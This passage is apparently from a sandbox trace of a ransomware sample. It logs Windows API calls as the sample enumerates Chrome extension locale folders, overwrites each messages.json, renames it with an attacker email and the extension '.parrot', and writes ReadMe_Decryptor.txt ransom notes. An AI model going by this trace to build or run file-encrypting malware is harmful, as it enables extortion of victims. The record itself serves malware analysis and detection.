Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0071.175] GetFileType (hFile=0x1fc) returned 0x1 [0071.175] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x68d248 [0071.185] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.185] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7e7f100, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7e7f100, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.185] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfbe90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb7e7f100, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0071.185] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5da458 [0071.185] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da458 | out: hHeap=0x5b0000) returned 1 [0071.186] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.231] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0071.231] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfaef0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85dfaef0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.231] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0071.231] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0071.231] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfbe90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0071.231] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d150 [0071.231] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0071.232] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x205, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.232] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0071.232] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0071.233] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.233] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xed, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xed, lpOverlapped=0x0) returned 1 [0071.233] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0071.233] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0071.233] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0071.233] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0071.233] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0071.233] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0071.233] GetLastError () returned 0x0 [0071.233] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.234] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0071.234] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0071.234] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0071.234] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0071.234] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0071.234] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0071.234] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0071.234] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0071.234] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0071.234] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0071.234] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0071.234] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0071.234] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0071.234] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0071.234] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0071.234] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d150 [0071.234] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0071.234] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0071.234] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0071.234] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0071.234] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0071.234] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0071.234] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0071.234] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240b88 [0071.234] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0071.234] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22405e8 [0071.234] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240b88 | out: hHeap=0x5b0000) returned 1 [0071.234] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d0248 [0071.234] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22405e8 | out: hHeap=0x5b0000) returned 1 [0071.234] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x208) returned 0x615450 [0071.234] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0248 | out: hHeap=0x5b0000) returned 1 [0071.234] WriteFile (in: hFile=0x28c, lpBuffer=0x615450*, nNumberOfBytesToWrite=0x208, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x615450*, lpNumberOfBytesWritten=0x18da44*=0x208, lpOverlapped=0x0) returned 1 [0071.235] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x615450 | out: hHeap=0x5b0000) returned 1 [0071.235] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x205, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.235] CloseHandle (hObject=0x28c) returned 1 [0071.236] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x669250 [0071.236] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c6) returned 0x5d0248 [0071.236] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x669250 | out: hHeap=0x5b0000) returned 1 [0071.236] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0071.237] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0248 | out: hHeap=0x5b0000) returned 1 [0071.237] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x67ead8 | out: hHeap=0x5b0000) returned 1 [0071.237] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0070 | out: hHeap=0x5b0000) returned 1 [0071.237] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x69a990 [0071.237] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x69aab8 [0071.238] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.239] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7f17680, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7f17680, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.239] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfbe90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb7f17680, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0071.239] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.239] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0071.239] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfaef0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85dfaef0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.239] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0071.239] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0071.239] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfbe90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0xa7, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0071.239] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1bf, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.239] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0071.240] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0071.241] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.241] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xa7, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xa7, lpOverlapped=0x0) returned 1 [0071.241] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.241] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1bf, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.241] CloseHandle (hObject=0x28c) returned 1 [0071.242] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0071.243] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d01c8 | out: hHeap=0x5b0000) returned 1 [0071.243] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x67ec60 | out: hHeap=0x5b0000) returned 1 [0071.243] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0070 | out: hHeap=0x5b0000) returned 1 [0071.244] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.244] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7f17680, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7f17680, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.244] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfbe90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb7f17680, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0071.244] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.302] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0071.302] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfaef0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85dfaef0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.302] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0071.302] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0071.302] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfbe90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x114, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0071.303] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x22c, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.303] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0071.303] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0071.304] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.304] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x114, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x114, lpOverlapped=0x0) returned 1 [0071.305] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.305] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x22c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.305] CloseHandle (hObject=0x1fc) returned 1 [0071.305] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0071.309] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d03d0 | out: hHeap=0x5b0000) returned 1 [0071.309] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x67ede8 | out: hHeap=0x5b0000) returned 1 [0071.309] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0198 | out: hHeap=0x5b0000) returned 1 [0071.310] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.310] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7fd5d60, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7fd5d60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.311] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfbe90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb7fafc00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x238, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0071.311] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.311] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0071.311] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfaef0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85dfaef0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.311] lstrcmpW (lpString1="..", 